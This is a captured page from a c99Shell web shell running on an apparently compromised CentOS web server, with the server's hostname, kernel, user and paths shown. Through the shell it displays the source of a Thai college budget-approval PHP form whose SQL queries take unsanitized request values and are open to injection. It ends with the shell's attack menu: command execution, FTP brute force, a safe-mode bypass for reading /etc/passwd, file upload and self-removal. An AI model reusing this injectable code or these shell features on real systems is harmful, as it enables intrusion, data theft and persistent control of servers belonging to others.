!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Durable_depart/   drwxr-xr-x
Free 50.96 GB of 127.8 GB (39.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditProject.php (18.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        require_once( 
"../include/FunctionDB.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "formproject";
        
$myTable3 "project_tb";
        
        
        
        
/**  Table  -->  personal_tb  */
        
$query " SELECT *  FROM $myTable1  WHERE  Teacher_code='$Teacher_code' ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);
            
$Teacher_code $rss['Teacher_code'];
        
        
/**  Table  -->  tech_plan_tb  */
        
$query1 " SELECT *  FROM  formproject   WHERE  proId='$proId'    ";
        
$result1 $dbObj->execQuery($query1);
        
$rs1 $dbObj->fetchArray($result1);
        
        
/**  Table  -->  techplan_method_tb  */
        
$query2 " SELECT *  FROM project_tb  WHERE  proId='$proId'     ";
        
$result2 $dbObj->execQuery($query2);
        
$rs2 $dbObj->fetchArray($result2);
        
        
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<meta http-equiv="pragma" content="no-cache" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/ajaxScript.js"></script>
<title>ข้อมูลทั่วไปบุคลากร  - แก้ไขข้อมูลโครงการ</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="form1" name="form1" method="post" action="EditFromProject.php?Teacher_code=<?=$Teacher_code;?>&proId=<?=$proId;?>">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="SearchProjectList.php?Year_std=<?=$rs1[Year_std]; ?>">รายการขออนุมัติใช้งินตามแผนดำเนินการ</a> &raquo; <span class="NOTE">แก้ไขข้อมูลขออนุมัติใช้เงินตามโครงการ</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center">
        <?php

        ?>
        <table width="750" cellpadding="0" cellspacing="0">
          <tr height="31">
            <td height="31" colspan="6" align="center" class="PATRON11">บันทึกข้อความ</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" l="l">ส่วนราชการ <font size="2" face="Tahoma">
              <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
            </font></td>
          </tr>
          <tr>
            <td height="29" colspan="2" align="left">
              <input name="Flag3" type="checkbox" id="Flag3"<?php if (!(strcmp("$rs1[Flag3]","Y"))){echo "checked";} ?> value="Y" />ลงทะเบียนรับเลขที่</a>
              <input name="maNo" type="text" id="maNo" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1[proNo];?>" size="15" />
            </font></td>
            <td width="73" height="29" align="left"><input name="Flag" type="hidden" id="Flag" value="<? echo $rs1["Flag"]?>" /></td>
            <td height="29" align="left">&nbsp;</td>
            <td height="29" colspan="2" align="left"><font color="#000000" size="2" face="Tahoma">วันที่
                <select name="mDate" id="mDate" class="select" >
                  <?php
           $Date 
$rs1[Date];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                </select>
เดือน 
<select name="mMonth" id="mMonth" class="select" >
  <?php
          $Date 
$rs1[Date];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
            </font><font color="#0000FF" size="2" face="Tahoma">&nbsp;
            </font><font color="#000000" size="2" face="Tahoma">ปี พ.ศ.</font><font color="#0000FF" size="2" face="Tahoma">
            <input name="mYear" type="text" id="mYear" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $mYear ?>" size="4" maxlength="4" />
            </font></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="left">เรื่อง&nbsp;&nbsp;
              <input name="Detail" type="text" id="Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="ขออนุมัติใช้เงินโครงการตามแผนดำเนินการ" size="35" /></td>
            <td width="37"></td>
            <td width="214"></td>
            <td width="155"></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="5" align="left">เรียน &nbsp; ผู้อำนวยการ <font size="2" face="Tahoma">
              <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
            </font></td>
            <td></td>
          </tr>
          <tr height="29">
            <td width="136" height="25"></td>
            <td colspan="5" align="left">ข้าพเจ้า.<font color="#0000FF" size="2" face="Tahoma">
            <input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?> " size="25" readonly="readonly" />
            </font> ตำแหน่ง<font color="#0000FF" size="2" face="Tahoma">
            <input name="Name2" type="text" id="Name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value=" <? $PositionId =  $rss["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " size="25" readonly="readonly" />
            </font></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">สังกัด<font color="#0000FF" size="2" face="Tahoma">
            <input name="Name3" type="text" id="Name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?php  $Faculty_code =  $rss["Faculty_code"];
$sql "Select * From   faculty_tb Where Faculty_code='$Faculty_code'";
 
$result1 mysql_query($sql) or die("Error".mysql_error());
 
$rs2 mysql_fetch_array($result1);
 echo 
"$rs2[Faculty_name] "?>" size="20" readonly="readonly" />
            </font><font color="#0000FF" size="2" face="Tahoma">
            <input name="Name3" type="text" id="Name4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?php
                         $collegeCode 
=  $rss["collegeCode"];
                        
$sql "Select * From college   Where collegeStatus ='1'";
                         
$result1 mysql_query($sql) or die("Error".mysql_error());
                        
$rs2 mysql_fetch_array($result1);
                         echo 
"$rs2[collegeName] "?> " size="40" readonly="readonly" />
            </font><span class="style1">สถาบันพระบรมราชชนก</span></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">ขออนุมัติใช้เงินในโครงการ เรื่อง </a>
              <input name="Training_name" type="text" id="Training_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs1['Training_name'];?>" size="60" readonly="readonly" />
              </font></td>
          </tr>
          <tr height="29">
            <td height="37" colspan="6" align="left">อ้างตามแผนดำเนินการ ข้อที่<font size="2" face="Tahoma">
              <?php
         $ProjectId 
=  $rs1["ProjectId"];
         
$sql "Select * From   project_tb     Where    ProjectId='$ProjectId'  ";
          
$result2 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result2);
          
//echo "$rs2[Orderlist]";
         
?>
              </a>
              <input name="Orderlist" type="text" id="Orderlist" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php  echo $rs1[Orderlist];?>" size="6"  readonly />  </a>            
              รายละเอียด
              </a>
              <input name="Project_plan" type="text" id="Project_plan" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php  echo $rs1[Project_plan];?>" size="50" readonly />
              <input name="Budget_Year" type="hidden" id="Budget_Year" value="<?php  echo $rs2[Budget_Year];?>"  />
              <input name="MoneyS_C" type="hidden" id="MoneyS_C" value="<?php  echo $rs2[MoneyS_C];?>"  />
              <input name="MoneyId" type="hidden" id="MoneyId" value=" <?php  echo $rs2[MoneyId];?> "  />
              <input name="ProjectId" type="hidden" id="ProjectId" value="<?php  echo $rs2[ProjectId];?>"  />
              <input name="Project_code" type="hidden" id="Project_code"  value="<?php  echo $rs2[Project_code];?>" /></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left"></a>ปีงบประมาณ</a>
              <input name="Year_std" type="text" id="Year_std" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs1['Year_std'];?>" size="3" />
              จำนวนเงิน </a><span class="NOTE">*</span></a>
              <input name="Budget_use" type="text" id="Budget_use" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php echo $rs1['Budget_use'];?>" size="7"  onkeypress="checkNumeric()" onkeyup="checkBudget()" />
              บาท </a><span id="budgetOver"></span> </a>(ให้แก้ไขตัวเลขกรณีที่ไม่ตรงกับเอกสารการเบิกจ่าย)</td>
          </tr>
          <tr height="31">
            <td height="31" colspan="3" align="left">&nbsp;</td>
            <td colspan="2">&nbsp;</td>
            <td></td>
          </tr>
          <tr height="31">
            <td height="31" colspan="3" align="left">&nbsp;</td>
            <td colspan="2">ลงชื่อ .................................................</td>
            <td></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3">&nbsp;</td>
            <td colspan="2" align="center">(<font color="#003366" size="2" face="Tahoma"><? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?></font>)
              <input name="Teacher_code" type="hidden" id="Teacher_code" value="<? echo $rss["Teacher_code"]?>" />
              <input name="Faculty_code" type="hidden" id="Faculty_code" value="<? echo $rss["Faculty_code"]?>" />
              <input name="Flag3" type="hidden" id="Flag3" value="<? echo $rss["Teacher_code"]?>" /></td>
            <td></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="left">&nbsp;</td>
            <td colspan="2">ตำแหน่ง<font color="#0000FF" size="2" face="Tahoma">
            <input name="Name4" type="text" id="Name5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value=" <? $PositionId =  $rss["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " size="25" readonly="readonly" />
            </font></td>
            <td></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="2" align="left"><label>
              <input name="Flag1" type="checkbox" id="Flag1" value="1" disabled="disabled" />
              อนุญาต
              <input name="Flag1" type="checkbox" id="Flag1" value="2"  disabled="disabled" />
              ไม่อนุญาต</label></td>
            <td align="left">&nbsp;</td>
            <td colspan="3" align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="left">ลงชื่อ.............................................หัวหน้าภาค/ฝ่าย.</td>
            <td colspan="3" align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="2" align="center">(<font size="2" face="Tahoma">
            <?php
                         
//$Teacher_code =  $rss["TeacherId"];
                         
$sql "Select * From    personal_tb   Where  Faculty_code ='$Faculty_code'  and   TeacherId='1'  ";
                          
$result1 mysql_query($sql) or die("Error".mysql_error());
                         
$rs2 mysql_fetch_array($result1);
                          echo 
"$rs2[First_name]$rs2[Teacher_name] &nbsp;&nbsp;$rs2[Teacher_lastname]";
                     
?>
            </font>)
            <input name="TeacherId" type="hidden" id="TeacherId" value="<? echo $rs2["Teacher_code"]?>" /></td>
            <td align="left">&nbsp;</td>
            <td align="left"><div align="center">คำสั่ง</div></td>
            <td align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="left">ตำแหน่ง<font color="#0000FF" size="2" face="Tahoma">
              <input name="Name5" type="text" id="Name6" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value=" <? $PositionId =  $rs2["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " size="25" readonly="readonly" />
            </font></td>
            <?  
            $query2 
" SELECT *  FROM $myTable3  WHERE  proId='$proId'     ";
          
$result2 $dbObj->execQuery($query2);
          
$rs2 $dbObj->fetchArray($result2);
                    
?>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="left"><input name="Flag2" type="checkbox" id="Flag2"<?php if (!(strcmp("$rs1[Flag2]","อนุมัติ"))){echo "checked";} ?> value="อนุมัติ" />
              อนุมัติ&nbsp;&nbsp;&nbsp;&nbsp;
              <input name="Flag2" type="checkbox" id="Flag2" <?php if (!(strcmp("$rs1[Flag2]","ไม่อนุมัติ"))){echo "checked";} ?> value="ไม่อนุมัติ"  />
              ไม่อนุมัติ 
              <input name="Flag1" type="checkbox" id="Flag1"<?php if (!(strcmp("$rs1[Flag1]","Y"))){echo "checked";} ?> value="Y" />
ดำเนินการแล้ว&nbsp;&nbsp;</td>
            </tr>
          <tr height="29">
            <td height="29" colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td colspan="3" align="left">ลงชื่อ.........................................&hellip;&hellip;..</td>
            </tr>
          <tr height="29">
            <td height="28" colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="28" colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="left"> วันที่..........เดือน......................พ.ศ..........&hellip;</td>
            <td align="left">&nbsp;</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td align="center">&nbsp;</td>
      </tr>
      <tr>
        <td align="center"><input name="proId" type="hidden" id="proId" value="<? echo $proId?>&Teacher_code<? echo $Teacher_code;?>&Faculty_code=<? echo $Faculty_code;?>" />
         <span id="submitBtn"> <input type="submit" name="Submit" value="บันทึก" class="WIDTH60 CURSOR-HAND" disbale  />
&nbsp;
<input type="reset" name="Reset" value="รีเซ็ต" class="WIDTH60 CURSOR-HAND" />
&nbsp;&nbsp;
<input type="button" name="Button" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" onclick="location.href='PlanList.php?Teacher_code=<?=$Teacher_code;?>'" /></td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0191 ]--